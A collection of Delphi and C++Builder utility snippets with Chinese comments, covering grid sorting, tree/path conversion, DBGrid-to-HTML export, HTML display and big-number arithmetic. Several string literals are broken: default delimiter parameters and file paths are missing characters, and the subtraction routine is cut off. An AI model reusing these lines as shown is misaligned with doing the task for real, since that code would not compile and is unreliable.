'^'#25, '^'#26, '^'#27, '^'#28, '^'#29, '^'#30, '^'#31, '^'#32, '^'#33, '^'#34,

'^'#35, '^'#36, '^'#37, '^'#38, '^'#39, '^'#40, '^'#41, '^'#42, '^'#43, '^'#44,

'^'#45, '^'#46, '^'#47, '^'#48, '^'#49, '^'#50, '^'#51, '^'#52, '^'#53,

'^'#54, '^'#55, '^'#56, '^'#57, '^'#58, '^'#59, '^'#60, '^'#61, '^'#62,

'^'#63, '^'#192, '^'#193, '^'#194, '^'#195, '^'#196, '^'#197, '^'#198, '^'#199,

'^'#200, '^'#201, '^'#202, '^'#203, '^'#204, '^'#205, '^'#206, '^'#207, '^'#208,

'^'#209, '^'#210, '^'#211, '^'#212, '^'#213, '^'#214, '^'#215, '^'#216, '^'#217,

'^'#218, '^'#219, '^'#220, '^'#221, '^'#222, '^'#223, '^'#224, '^'#225, '^'#226,

'^'#227, '^'#228, '^'#229, '^'#230, '^'#231, '^'#232, '^'#233, '^'#234, '^'#235,

'^'#236, '^'#237, '^'#238, '^'#239, '^'#240, '^'#241, '^'#242, '^'#243, '^'#244,

'^'#245, '^'#246, '^'#247, '^'#248, '^'#249, '^'#250, '^'#251, '^'#252, '^'#253,

'^'#254, '^'#255, '^'#128, '^'#129, '^'#130, '^'#131, '^'#132, '^'#133, '^'#134,

'^'#135, '^'#136, '^'#137, '^'#138, '^'#139, '^'#140, '^'#141, '^'#142, '^'#143,

'^'#144, '^'#145, '^'#146, '^'#147, '^'#148, '^'#149, '^'#150, '^'#151, '^'#152,

'^'#153, '^'#154, '^'#155, '^'#156, '^'#157, '^'#158, '^'#159, '^'#160, '^'#161,

'^'#162, '^'#163, '^'#164, '^'#165, '^'#166, '^'#167, '^'#168, '^'#169, '^'#170,

'^'#171, '^'#172, '^'#173, '^'#174, '^'#175, '^'#176, '^'#177, '^'#178, '^'#179,

'^'#180, '^'#181, '^'#182, '^'#183, '^'#184, '^'#185, '^'#186, '^'#187, '^'#188,

'^'#189, '^'#190, '^'#191);

function StrToIDEc(mStr: string): string;

var

I: Integer;

begin

Result := '';

for I := 1 to Length(mStr) do

Result := Result + cIDEc[mStr[I]];

end; { StrToIDEc }

function IDEcToStr(mIDEc: string): string;

var

C: Char;

I, L: Integer;

T: string;

begin

Result := '';

I := 1;

L := Length(mIDEc);

mIDEc := LowerCase(mIDEc);

while I <= L do begin

if mIDEc[I] = '^' then begin

for C := #0 to #255 do

if cIDEc[C] = Copy(mIDEc, I, 2) then begin

Result := Result + C;

Inc(I, 2);

Break;

end;

end else if mIDEc[I] = '#' then begin

T := '';

Inc(I);

while mIDEc[I] in ['0'..'9'] do begin

T := T + mIDEc[I];

Inc(I);

end;

if T <> '' then Result := Result + Chr(StrToIntDef(T, 0));

end else Inc(I);

end;

end; { IDEcToStr }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

Clipboard.AsText := StrToIDEc(Edit1.Text);

Caption := IDEcToStr(Clipboard.AsText);

ShowMessage(^^!^3^4^%);

end;

///////Edn Demo


字符网格排序
(*//

标题:字符网格排序

说明:升序、降序;示例点击标题排序

设计:Zswang

日期:2002-04-27

支持:wjhu111@21cn.com

//*)

///////Begin Source

function StringGridRowSwap(mStringGrid: TStringGrid;

mFromRow, mToRow: Integer): Boolean;

var

S: string;

begin

Result := False;

if (mToRow = mFromRow) then Exit;

if not Assigned(mStringGrid) then Exit;

if (mFromRow < 0) or (mFromRow >= mStringGrid.RowCount) then Exit;

if (mToRow < 0) or (mToRow >= mStringGrid.RowCount) then Exit;

try

S := mStringGrid.Rows[mFromRow].Text;

mStringGrid.Rows[mFromRow].Text := mStringGrid.Rows[mToRow].Text;

mStringGrid.Rows[mToRow].Text := S;

except

Exit;

end;

Result := True;

end; { StringGridRowSwap }

function StringGridRowSort(mStringGrid: TStringGrid;

mColIndex: Integer; mDesc: Boolean = False): Boolean;

var

I, J: Integer;

begin

Result := False;

if not Assigned(mStringGrid) then Exit;

if (mColIndex < 0) or (mColIndex >= mStringGrid.ColCount) then Exit;

for I := mStringGrid.FixedRows to mStringGrid.RowCount - 2 do

for J := I + 1 to mStringGrid.RowCount - 1 do

if mDesc then

if mStringGrid.Cells[mColIndex, I] < mStringGrid.Cells[mColIndex, J] then

StringGridRowSwap(mStringGrid, I, J)

else

else if mStringGrid.Cells[mColIndex, I] > mStringGrid.Cells[mColIndex, J] then

StringGridRowSwap(mStringGrid, I, J);

Result := True;

end; { StringGridRowSort }

///////End Source

///////Begin Demo

procedure TForm1.StringGrid1MouseDown(Sender: TObject;

Button: TMouseButton; Shift: TShiftState; X, Y: Integer);

{$J+}

const

vOldCol: Integer = -1;

{$J-}

var

vCol, vRow: Integer;

begin

if Button = mbRight then Exit;

TStringGrid(Sender).MouseToCell(X, Y, vCol, vRow);

if (vRow < 0) or (vRow >= TStringGrid(Sender).FixedRows) then Exit;

StringGridRowSort(TStringGrid(Sender), vCol, vOldCol = vCol);

if vOldCol = vCol then

vOldCol := - vOldCol

else vOldCol := vCol;

end;

///////End Demo


树和路径间转换
(*//

标题:树和路径间转换

说明:比如这样的路径:“C:.dll”

设计:Zswang

日期:2002-05-02

支持:wjhu111@21cn.com

//*)

///////Begin Source

function StrLeft(const mStr: string; mDelimiter: string): string;

begin

Result := Copy(mStr, 1, Pos(mDelimiter, mStr) - 1);

end; { StrLeft }

function ListCount(mList: string; mDelimiter: string = ','): Integer;

var

I, L: Integer;

begin

Result := 0;

if mList = '' then Exit;

L := Length(mList);

I := Pos(mDelimiter, mList);

while I > 0 do begin

mList := Copy(mList, I + Length(mDelimiter), L);

I := Pos(mDelimiter, mList);

Inc(Result);

end;

Inc(Result);

end; { ListCount }

function ListValue(mList: string; mIndex: Integer; mDelimiter: string = ','): string;

var

I, L, K: Integer;

begin

L := Length(mList);

I := Pos(mDelimiter, mList);

K := 0;

Result := '';

while (I > 0) and (K <> mIndex) do begin

mList := Copy(mList, I + Length(mDelimiter), L);

I := Pos(mDelimiter, mList);

Inc(K);

end;

if K = mIndex then Result := StrLeft(mList + mDelimiter, mDelimiter);

end; { ListValue }

function TreeNodeString(mTreeNode: TTreeNode; mDelimiter: string = '): string;

begin

Result := '';

while Assigned(mTreeNode) do begin

Result := mTreeNode.Text + mDelimiter + Result;

mTreeNode := mTreeNode.Parent;

end;

Delete(Result, Length(Result) - Length(mDelimiter) + 1, MaxInt);

end; { TreeNodeString }

function TreeViewToLineText(mTreeView: TTreeView; mStrings: TStrings;

mDelimiter: string = '): Boolean;

var

I: Integer;

begin

Result := False;

if not (Assigned(mTreeView) and Assigned(mStrings)) then Exit;

mStrings.Clear;

for I := 0 to mTreeView.Items.Count - 1 do

if mTreeView.Items[I].Count = 0 then

mStrings.Add(TreeNodeString(mTreeView.Items[I], mDelimiter));

Result := True;

end; { TreeViewToLineText }

function LineTextToTreeView(mStrings: TStrings; mTreeView: TTreeView;

mDelimiter: string = '): Boolean;

var

I, J, K: Integer;

vStrPath: string;

vStrText: string;

vTreeNode: TTreeNode;

vBoolFind: Boolean;

begin

Result := False;

if not (Assigned(mTreeView) and Assigned(mStrings)) then Exit;

mTreeView.Items.Clear;

for I := 0 to mStrings.Count - 1 do begin

vStrPath := '';

vTreeNode := nil;

for J := 0 to ListCount(mStrings[I], mDelimiter) - 1 do begin

vStrText := ListValue(mStrings[I], J, mDelimiter);

vStrPath := vStrPath + mDelimiter + vStrText;

vBoolFind := False;

for K := 0 to mTreeView.Items.Count - 1 do

if mDelimiter + TreeNodeString(mTreeView.Items[K], mDelimiter) =

vStrPath then begin

vTreeNode := mTreeView.Items[K];

vBoolFind := True;

Break;

end;

if vBoolFind then Continue;

vTreeNode := mTreeView.Items.AddChild(vTreeNode, vStrText);

end;

end;

Result := True;

end; { LineTextToTreeView }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

LineTextToTreeView(Memo1.Lines, TreeView1);

end;

procedure TForm1.Button2Click(Sender: TObject);

begin

TreeViewToLineText(TreeView1, Memo1.Lines);

end;

///////End Demo


数据网格处理成超文本表格
(*//

标题:数据网格处理成超文本表格

说明:支持对齐、字体、背景颜色;做打印又有一种新方法了！

设计:Zswang

日期:2002-05-19

支持:wjhu111@21cn.com

//*)

///////Begin Source

function ColorToHtml(mColor: TColor): string;

begin

mColor := ColorToRGB(mColor);

Result := Format('#%.2x%.2x%.2x',

[GetRValue(mColor), GetGValue(mColor), GetBValue(mColor)]);

end; { ColorToHtml }

function StrToHtml(mStr: string; mFont: TFont = nil): string;

var

vLeft, vRight: string;

begin

Result := mStr;

Result := StringReplace(Result, '&', '&AMP;', [rfReplaceAll]);

Result := StringReplace(Result, '<', '&LT;', [rfReplaceAll]);

Result := StringReplace(Result, '>', '&GT;', [rfReplaceAll]);

if not Assigned(mFont) then Exit;

vLeft := Format('<FONT FACE="%s" COLOR="%s">',

[mFont.Name, ColorToHtml(mFont.Color)]);

vRight := '</FONT>';

if fsBold in mFont.Style then begin

vLeft := vLeft + '<B>';

vRight := '</B>' + vRight;

end;

if fsItalic in mFont.Style then begin

vLeft := vLeft + '<I>';

vRight := '</I>' + vRight;

end;

if fsUnderline in mFont.Style then begin

vLeft := vLeft + '<U>';

vRight := '</U>' + vRight;

end;

if fsStrikeOut in mFont.Style then begin

vLeft := vLeft + '<S>';

vRight := '</S>' + vRight;

end;

Result := vLeft + Result + vRight;

end; { StrToHtml }

function DBGridToHtmlTable(mDBGrid: TDBGrid; mStrings: TStrings;

mCaption: TCaption = ''): Boolean;

const

cAlignText: array[TAlignment] of string = ('LEFT', 'RIGHT', 'CENTER');

var

vColFormat: string;

vColText: string;

vAllWidth: Integer;

vWidths: array of Integer;

vBookmark: string;

I, J: Integer;

begin

Result := False;

if not Assigned(mStrings) then Exit;

if not Assigned(mDBGrid) then Exit;

if not Assigned(mDBGrid.DataSource) then Exit;

if not Assigned(mDBGrid.DataSource.DataSet) then Exit;

if not mDBGrid.DataSource.DataSet.Active then Exit;

vBookmark := mDBGrid.DataSource.DataSet.Bookmark;

mDBGrid.DataSource.DataSet.DisableControls;

try

J := 0;

vAllWidth := 0;

for I := 0 to mDBGrid.Columns.Count - 1 do

if mDBGrid.Columns[I].Visible then begin

Inc(J);

SetLength(vWidths, J);

vWidths[J - 1] := mDBGrid.Columns[I].Width;

Inc(vAllWidth, mDBGrid.Columns[I].Width);

end;

if J <= 0 then Exit;

mStrings.Clear;

mStrings.Add(Format('<TABLE BGCOLOR="%s" BORDER=1 WIDTH="100%%">',

[ColorToHtml(mDBGrid.Color)]));

if mCaption <> '' then

mStrings.Add(Format('<CAPTION>%s</CAPTION>', [StrToHtml(mCaption)]));

vColFormat := '';

vColText := '';

vColFormat := vColFormat + '<TR>'#13#10;

vColText := vColText + '<TR>'#13#10;

J := 0;

for I := 0 to mDBGrid.Columns.Count - 1 do

if mDBGrid.Columns[I].Visible then begin

vColFormat := vColFormat + Format(

' <TD BGCOLOR="%s" ALIGN=%s WIDTH="%d%%">DisplayText%d</TD>'#13#10,

[ColorToHtml(mDBGrid.Columns[I].Color),

cAlignText[mDBGrid.Columns[I].Alignment],

Round(vWidths[J] / vAllWidth * 100), J]);

vColText := vColText + Format(

' <TD BGCOLOR="%s" ALIGN=%s WIDTH="%d%%">%s</TD>'#13#10,

[ColorToHtml(mDBGrid.Columns[I].Title.Color),

cAlignText[mDBGrid.Columns[I].Alignment],

Round(vWidths[J] / vAllWidth * 100),

StrToHtml(mDBGrid.Columns[I].Title.Caption,

mDBGrid.Columns[I].Title.Font)]);

Inc(J);

end;

vColFormat := vColFormat + '</TR>'#13#10;

vColText := vColText + '</TR>'#13#10;

mStrings.Text := mStrings.Text + vColText;

mDBGrid.DataSource.DataSet.First;

while not mDBGrid.DataSource.DataSet.Eof do begin

J := 0;

vColText := vColFormat;

for I := 0 to mDBGrid.Columns.Count - 1 do

if mDBGrid.Columns[I].Visible then begin

vColText := StringReplace(vColText, Format('>DisplayText%d<', [J]),

Format('>%s<', [StrToHtml(mDBGrid.Columns[I].Field.DisplayText,

mDBGrid.Columns[I].Font)]),

[rfReplaceAll]);

Inc(J);

end;

mStrings.Text := mStrings.Text + vColText;

mDBGrid.DataSource.DataSet.Next;

end;

mStrings.Add('</TABLE>');

finally

mDBGrid.DataSource.DataSet.Bookmark := vBookmark;

mDBGrid.DataSource.DataSet.EnableControls;

vWidths := nil;

end;

Result := True;

end; { DBGridToHtmlTable }

///////End Source

{ uses ShellApi; }

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

DBGridToHtmlTable(DBGrid1, Memo1.Lines, Caption);

Memo1.Lines.SaveToFile('c:.htm');

ShellExecute(Handle, nil, 'c:.htm', nil, nil, SW_SHOW);

end;

///////End Demo


数据集处理成可视树
(*//

标题:数据集处理成可视树

说明:处理父节点标识字段、节点文本字段、节点标识字段这种表结构

设计:Zswang

日期:2002-05-20

支持:wjhu111@21cn.com

//*)

///////Begin Source

function DataSetToTreeNode(mDataSet: TDataSet;

mFieldNameParent: string; //父节点标识字段名

mFieldNameTreeText: string; //节点文本字段名

mFieldNameTreeId: string; //节点标识字段名

mTreeView: TTreeView; mTreeNode: TTreeNode;

mParentText: string): Boolean;

var

vTreeNode: TTreeNode;

vFieldValues: Variant;

vFieldNames: string;

begin

Result := False;

if not Assigned(mDataSet) then Exit;

if not Assigned(mTreeView) then Exit;

if not mDataSet.Active then Exit;

vFieldNames := Format('%s;%s;%s',

[mFieldNameParent, mFieldNameTreeText, mFieldNameTreeId]);

mDataSet.Filtered := False;

mDataSet.Filter := Format('%s=%s', [mFieldNameParent, QuotedStr(mParentText)]);

mDataSet.Filtered := True;

if mDataSet.RecordCount = 0 then Exit;

mDataSet.First;

while not mDataSet.Eof do begin

vTreeNode := mTreeView.Items.AddChild(mTreeNode,

mDataSet.FieldByName(mFieldNameTreeText).AsString);

vFieldValues := mDataSet[vFieldNames];

DataSetToTreeNode(mDataSet, mFieldNameParent, mFieldNameTreeText,

mFieldNameTreeId, mTreeView, vTreeNode,

mDataSet.FieldByName(mFieldNameTreeId).AsString);

///////Begin 恢复位置

mDataSet.Filtered := False;

mDataSet.Filter := Format('%s=%s', [mFieldNameParent, QuotedStr(mParentText)]);

mDataSet.Filtered := True;

mDataSet.Locate(vFieldNames, vFieldValues, []);

///////End 恢复位置

mDataSet.Next;

end;

Result := True;

end;

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

TreeView1.Items.Clear;

DataSetToTreeNode(Table1, 'ParentTreeId', 'TreeText', 'TreeId',

TreeView1, nil, 'NULL');

end;

///////End Source

//---------------------------------------------------------------------------

//Borland C++ Builder

//---------------------------------------------------------------------------

///////Begin Source

bool DataSetToTreeNode(TDataSet* mDataSet,

AnsiString mFieldNameParent, //父节点标识字段名

AnsiString mFieldNameTreeText, //节点文本字段名

AnsiString mFieldNameTreeId, //节点标识字段名

TTreeView* mTreeView, TTreeNode* mTreeNode,

AnsiString mParentText)

{

TTreeNode* vTreeNode;

Variant vFieldValues;

AnsiString vFieldNames;

if (mDataSet == NULL) return false;

if (mTreeView == NULL) return false;

if (!mDataSet->Active) return false;

vFieldNames = Format("%s;%s;%s",

ARRAYOFCONST((mFieldNameParent, mFieldNameTreeText, mFieldNameTreeId)));

mDataSet->Filtered = false;

mDataSet->Filter = Format("%s=%s", ARRAYOFCONST((mFieldNameParent, QuotedStr(mParentText))));

mDataSet->Filtered = true;

if (mDataSet->IsEmpty()) return false;

mDataSet->First();

while (!mDataSet->Eof) {

vTreeNode = mTreeView->Items->AddChild(mTreeNode,

mDataSet->FieldByName(mFieldNameTreeText)->AsString);

vFieldValues = mDataSet->FieldValues[vFieldNames];

DataSetToTreeNode(mDataSet, mFieldNameParent, mFieldNameTreeText,

mFieldNameTreeId, mTreeView, vTreeNode,

mDataSet->FieldByName(mFieldNameTreeId)->AsString);

///////Begin 恢复位置

mDataSet->Filtered = false;

mDataSet->Filter = Format("%s=%s", ARRAYOFCONST((mFieldNameParent, QuotedStr(mParentText))));

mDataSet->Filtered = true;

mDataSet->Locate(vFieldNames, vFieldValues, TLocateOptions());

///////End 恢复位置

mDataSet->Next();

};

return true;

} /* DataSetToTreeNode */

///////End Source

///////Begin Demo

void __fastcall TForm1::Button1Click(TObject *Sender)

{

TreeView1->Items->Clear();

DataSetToTreeNode(Table1, "UpperTreeId", "TreeName", "TreeId",

TreeView1, NULL, "NULL");

}

///////End Demo


显示超文本
(*//

标题:显示超文本

说明:在WebBrowser直接载入流，不通过文件

设计:Zswang

日期:2002-06-06

支持:wjhu111@21cn.com

//*)

///////Begin Source

uses ActiveX;

function ShowHtml(mWebBrowser: TWebBrowser; mStrings: TStrings): Boolean;

var

vMemoryStream: TMemoryStream;

begin

Result := False;

if not (Assigned(mStrings) and Assigned(mWebBrowser)) then Exit;

mWebBrowser.Navigate('about:blank');

if not Assigned(mWebBrowser.Document) then Exit;

vMemoryStream := TMemoryStream.Create;

try

mStrings.SaveToStream(vMemoryStream);

try

vMemoryStream.Position := 0;

Application.ProcessMessages; // :)

(mWebBrowser.Document as IPersistStreamInit).Load(

TStreamAdapter.Create(vMemoryStream));

except

Exit;

end;

finally

vMemoryStream.Free;

end;

Result := True;

end; { ShowHtml }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

ShowHtml(WebBrowser1, Memo1.Lines);

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

Memo1.Text :=

'<html>'#13#10 +

'<body bkcolor=#FF00FF><b>Hello Worlds!</b></body>'#13#10 +

'</html>'#13#10;

end;

///////End Demo


移动树节点
(*//

标题:移动树节点

说明:上、下、左、右移动

设计:Zswang

日期:2002-06-08

支持:wjhu111@21cn.com

//*)

///////Begin Source

function TreeNodeMove(mTreeNode: TTreeNode; mAnchorKind: TAnchorKind;

mIsTry: Boolean = False): Boolean;

var

vTreeNode: TTreeNode;

begin

Result := Assigned(mTreeNode);

if not Result then Exit;

case mAnchorKind of

akTop: begin

vTreeNode := mTreeNode.GetPrev;

while Assigned(vTreeNode) do begin

if vTreeNode = mTreeNode.GetPrevSibling then begin

if not mIsTry then mTreeNode.MoveTo(vTreeNode, naInsert);

Exit;

end else if (vTreeNode.Level = mTreeNode.Level) then begin

if not mIsTry then mTreeNode.MoveTo(vTreeNode, naAdd);

Exit;

end else if (vTreeNode <> mTreeNode.Parent) and

(vTreeNode.Level + 1 = mTreeNode.Level) then begin

if not mIsTry then mTreeNode.MoveTo(vTreeNode, naAddChild);

Exit;

end;

vTreeNode := vTreeNode.GetPrev;

end;

end;

akBottom: begin

vTreeNode := mTreeNode.GetNext;

while Assigned(vTreeNode) do begin

if vTreeNode = mTreeNode.GetNextSibling then begin

if not mIsTry then vTreeNode.MoveTo(mTreeNode, naInsert);

Exit;

end else if (vTreeNode.Level = mTreeNode.Level) then begin

if not mIsTry then mTreeNode.MoveTo(vTreeNode, naAddFirst);

Exit;

end else if vTreeNode.Level + 1 = mTreeNode.Level then begin

if not mIsTry then mTreeNode.MoveTo(vTreeNode, naAddChildFirst);

Exit;

end;

vTreeNode := vTreeNode.GetNext;

end;

end;

akLeft: begin

vTreeNode := mTreeNode.Parent;

if Assigned(vTreeNode) then begin

if not mIsTry then mTreeNode.MoveTo(vTreeNode, naInsert);

Exit;

end;

end;

akRight: begin

vTreeNode := mTreeNode.GetNextSibling;

if Assigned(vTreeNode) then begin

if not mIsTry then mTreeNode.MoveTo(vTreeNode, naAddChildFirst);

Exit;

end;

end;

end;

Result := False;

end; { TreeNodeMove }

///////End Source

///////Begin Demo

procedure TForm1.TreeView1KeyDown(Sender: TObject; var Key: Word;

Shift: TShiftState);

begin

if not (ssCtrl in Shift) then Exit;

case Key of

VK_UP: TreeNodeMove(TTreeView(Sender).Selected, akTop);

VK_DOWN: TreeNodeMove(TTreeView(Sender).Selected, akBottom);

VK_LEFT: TreeNodeMove(TTreeView(Sender).Selected, akLeft);

VK_RIGHT: TreeNodeMove(TTreeView(Sender).Selected, akRight);

end;

end;

procedure TForm1.TreeView1GetSelectedIndex(Sender: TObject;

Node: TTreeNode);

begin

CheckBox1.Checked := TreeNodeMove(TTreeView(Sender).Selected, akTop, True);

CheckBox2.Checked := TreeNodeMove(TTreeView(Sender).Selected, akBottom, True);

CheckBox3.Checked := TreeNodeMove(TTreeView(Sender).Selected, akLeft, True);

CheckBox4.Checked := TreeNodeMove(TTreeView(Sender).Selected, akRight, True);

end;

///////End Demo


将窗体代码VCL6处理成VCL5格式
(*//

标题:处理窗体代码文本

说明:将窗体代码VCL6处理成VCL5格式

设计:Zswang

日期:2002-07-20

支持:wjhu111@21cn.com

//*)

///////Begin Source

function ProcessFormSource(mSource, mDest: TStrings): Boolean;

var

I, J, K: Integer;

S: string;

vTempStr, vLeftStr: string;

vWideByte: Integer;

begin

Result := False;

if not (Assigned(mSource) and Assigned(mDest)) then Exit;

mDest.Clear;

for I := 0 to mSource.Count - 1 do begin

S := mSource[I];

if Pos('#', S) > 0 then begin

vTempStr := '';

vLeftStr := '';

K := 0;

for J := 1 to Length(S) do

case K of

0: begin //空区

case S[J] of

'''': begin

K := 1;

vLeftStr := vLeftStr + S[J];

end;

'#': K := 2;

else vLeftStr := vLeftStr + S[J];

end;

end;

1: begin //''''区

if S[J] = '''' then K := 0;

vLeftStr := vLeftStr + S[J];

end;

2: begin //#区

if S[J] in ['0'..'9', '$', 'a'..'f', 'A'..'F'] then

vTempStr := vTempStr + S[J]

else begin

K := Pos(S[J], '''#');

vWideByte := StrToIntDef(vTempStr, 0);

if vWideByte <= 256 then begin

vLeftStr := vLeftStr + '#' + vTempStr;

if S[J] = '''' then vLeftStr := vLeftStr + S[J];

end else begin

if Copy(vLeftStr, Length(vLeftStr), 1) = '''' then

Insert(WideChar(vWideByte), vLeftStr, Length(vLeftStr))

else vLeftStr := vLeftStr + QuotedStr(WideChar(vWideByte));

if S[J] = '''' then Delete(vLeftStr, Length(vLeftStr), 1);

end;

vTempStr := '';

end;

end;

end;

if K = 2 then begin

vWideByte := StrToIntDef(vTempStr, 0);

if vWideByte <= 256 then

vLeftStr := vLeftStr + '#' + vTempStr

else begin

if Copy(vLeftStr, Length(vLeftStr), 1) = '''' then

Insert(WideChar(vWideByte), vLeftStr, Length(vLeftStr))

else vLeftStr := vLeftStr + QuotedStr(WideChar(vWideByte));

end;

end;

S := vLeftStr;

end;

mDest.Add(S);

end;

Result := True;

end; { ProcessFormSource }

///////End Source

///////Begin Demo

procedure TForm1.Button1Click(Sender: TObject);

begin

ProcessFormSource(Memo1.Lines, Memo2.Lines);

end;

///////End Demo


无限位数乘法
//无限位数乘法//技术论坛要有技术文章//加一段，免得被放到非技术区 :)

uses StrUtils, Math;

function formatnum(mNumber: string):string;

var

m:integer;

TemStr:string;

begin

Result:='';

for m:=1 to Length(mNumber) do

begin

if mNumber[m]='.' then

Result:=Result+'.'

else

Result:=Result+IntToStr(StrToIntDef(mNumber[m], 0));

end;

while Pos('0', Result) = 1 do Delete(Result, 1, 1); //排除整数前无效的0

if Pos('.', Result )<= 0 then Result := Result + '.'; //没有有小数点补小数点

TemStr:=StrRight(Result,'.');

while Copy(TemStr, Length(TemStr), 1) = '0' do Delete(TemStr, Length(TemStr), 1); //排除小数后无效的0

Result:=StrLeft(Result,'.')+'.'+TemStr;

if Copy(Result, Length(Result), 1) = '.' then Delete(Result, Length(Result), 1); //排除无效小数点

if Result[1]='.' then Result:='0'+Result;

if (Result = '') then Result := '0';

end;

function StrLeft(const mStr: string; mDelimiter: string): string;

begin

Result := Copy(mStr, 1, Pos(mDelimiter, mStr) - 1);

end; { StrLeft }

function StrRight(const mStr: string; mDelimiter: string): string;

begin

if Pos(mDelimiter, mStr) <= 0 then

Result := ''

else Result := Copy(mStr, Pos(mDelimiter, mStr) + Length(mDelimiter), MaxInt);

end; { StrRight }

function InfiniteAdd(mNumberA, mNumberB: string): string; { 无限位数加法 }

var

I: Integer;

T: Integer;

begin

Result := '';

if Pos('.', mNumberA) <= 0 then mNumberA := mNumberA + '.'; //没有有小数点补小数点

if Pos('.', mNumberB) <= 0 then mNumberB := mNumberB + '.'; //没有有小数点补小数点

I := Max(Length(StrLeft(mNumberA, '.')), Length(StrLeft(mNumberB, '.'))); //整数部分最大长度

mNumberA := DupeString('0', I - Length(StrLeft(mNumberA, '.'))) + mNumberA; //整数前补0

mNumberB := DupeString('0', I - Length(StrLeft(mNumberB, '.'))) + mNumberB; //整数前补0

T := Max(Length(StrRight(mNumberA, '.')), Length(StrRight(mNumberB, '.'))); //小数部分最大长度

mNumberA := mNumberA + DupeString('0', T - Length(StrRight(mNumberA, '.'))); //小数后补0

mNumberB := mNumberB + DupeString('0', T - Length(StrRight(mNumberB, '.'))); //小数后补0

I := I + T + 1; //计算总长度//小数长度和整数长度加上小数点长度

T := 0; //进位数初始化

for I := I downto 1 do //从后向前扫描

if [mNumberA[I], mNumberB[I]] <> ['.'] then begin //不是小数点时

T := StrToIntDef(mNumberA[I], 0) + T; //累加当前数位

T := StrToIntDef(mNumberB[I], 0) + T; //累加当前数位

Result := IntToStr(T mod 10) + Result; //计算当前数位上的数字

T := T div 10; //计算进位数

end else Result := '.' + Result; //加上小数点

if T <> 0 then Result := IntToStr(T mod 10) + Result; //处理进位数

while Pos('0', Result) = 1 do Delete(Result, 1, 1); //排除整数前无效的0

while Copy(Result, Length(Result), 1) = '0' do

Delete(Result, Length(Result), 1); //排除小数后无效的0

if Copy(Result, Length(Result), 1) = '.' then

Delete(Result, Length(Result), 1); //排除无效小数点

if Copy(Result, 1, 1) = '.' then Result := '0' + Result; //处理无0小数情况

if (Result = '') then Result := '0'; //处理空字符情况

end; { InfiniteAdd }

function InfiniteMult(mNumberA, mNumberB: string): string; { 无限位数乘法 }

function fMult(mNumber: string; mByte: Byte): string; { 无限位数乘法子函数 }

var

I: Integer;

T: Integer;

begin

Result := '';

T := 0;

for I := Length(mNumber) downto 1 do begin //从后向前扫描

T := StrToIntDef(mNumber[I], 0) * mByte + T; //累加当前数位

Result := IntToStr(T mod 10) + Result; //计算当前数位上的数字

T := T div 10; //计算进位数

end;

if T <> 0 then Result := IntToStr(T mod 10) + Result; //处理进位数

end; { fMult }

var

I: Integer;

vDecimal: Integer; //小数位数

T: string;

begin

Result := '';

///////Begin 处理小数

if Pos('.', mNumberA) <= 0 then mNumberA := mNumberA + '.'; //没有有小数点补小数点

if Pos('.', mNumberB) <= 0 then mNumberB := mNumberB + '.'; //没有有小数点补小数点

vDecimal := Length(StrRight(mNumberA, '.')) + Length(StrRight(mNumberB, '.')); //计算小数位数

mNumberA := StrLeft(mNumberA, '.') + StrRight(mNumberA, '.'); //删除小数点

mNumberB := StrLeft(mNumberB, '.') + StrRight(mNumberB, '.'); //删除小数点

///////End 处理小数

T := '';

for I := Length(mNumberB) downto 1 do begin

Result := InfiniteAdd(Result, fMult(mNumberA, StrToIntDef(mNumberB[I], 0)) + T);

T := T + '0';

end;

Insert('.', Result, Length(Result) - vDecimal + 1);

while Pos('0', Result) = 1 do Delete(Result, 1, 1); //排除整数前无效的0

while Copy(Result, Length(Result), 1) = '0' do

Delete(Result, Length(Result), 1); //排除小数后无效的0

if Copy(Result, Length(Result), 1) = '.' then

Delete(Result, Length(Result), 1); //排除无效小数点

if Copy(Result, 1, 1) = '.' then Result := '0' + Result; //处理无0小数情况

if (Result = '') then Result := '0'; //处理空字符情况

end; { InfiniteMult }

procedure TForm1.Button1Click(Sender: TObject);

begin

Edit3.Text := InfiniteMult(Edit1.Text, Edit2.Text);

end;


无限位数减法
下面的函数是ehom编写的

function InfiniteSub(mNumberA, mNumberB: string): string; { 无限位数减法 }

var

I: Integer;

T: Integer;

TemNumA:String;

minus:Boolean;

begin

Result := '';

if Pos('.', mNumberA) <= 0 then mNumberA := mNumberA + '.'; //没有有小数点补小数点

if Pos('.', mNumberB) <= 0 then mNumberB := mNumberB + '.'; //没有有小数点补小数点

I := Max(Length(StrLeft(mNumberA, '.')), Length(StrLeft(mNumberB, '.'))); //整数部分最大长度

mNumberA := DupeString('0', I - Length(StrLeft(mNumberA, '.'))) + mNumberA; //整数前补0

mNumberB := DupeString('0', I - Length(StrLeft(mNumberB, '.'))) + mNumberB; //整数前补0

T := Max(Length(StrRight(mNumberA, '.')), Length(StrRight(mNumberB, '.'))); //小数部分最大长度

if ((Length(StrLeft(mNumberA, '.'))) < (Length(StrLeft(mNumberB, '.')))) or(((Length(StrLeft(mNumberA, '.'))) = (Length(StrLeft(mNumberB, '.'))))and(mNumberB<mNumberA))then

begin

TemNumA := mNumberA;

mNumberA := mNumberB + DupeString('0', T - Length(StrRight(mNumberB, '.'))); //小数后补0

mNumberB := TemNumA + DupeString('0', T - Length(StrRight(TemNumA, '.'))); //小数后补0

minus:=True;

end

else

begin

mNumberA := mNumberA + DupeString('0', T - Length(StrRight(mNumberA, '.'))); //小数后补0

mNumberB := mNumberB + DupeString('0', T - Length(StrRight(mNumberB, '.'))); //小数后补0

minus:=False;

end;

I := I + T + 1; //计算总长度//小数长度和整数长度加上小数点长度

T := 0; //进位数初始化

for I := I downto 1 do //从后向前扫描

if [mNumberA[I], mNumberB[I]] <> ['.'] then begin //不是小数点时

T := StrToIntDef(mNumberA[I], 0) - T; //累加当前数位

T := StrToIntDef(mNumberB[I], 0) - T; //累加当前数位

if (T<0) and (I<>1) then

begin

T:=T+10;

Result := IntToStr(T mod 10) + Result; //计算当前数位上的数字

T := -1; //计算进位数

end

else

begin

Result := IntToStr(T mod 10) + Result; //计算当前数位上的数字

T := T div 10; //计算进位数

end;

end else Result := '.' + Result; //加上小数点

if T <> 0 then Result := IntToStr(T mod 10) + Result; //处理进位数

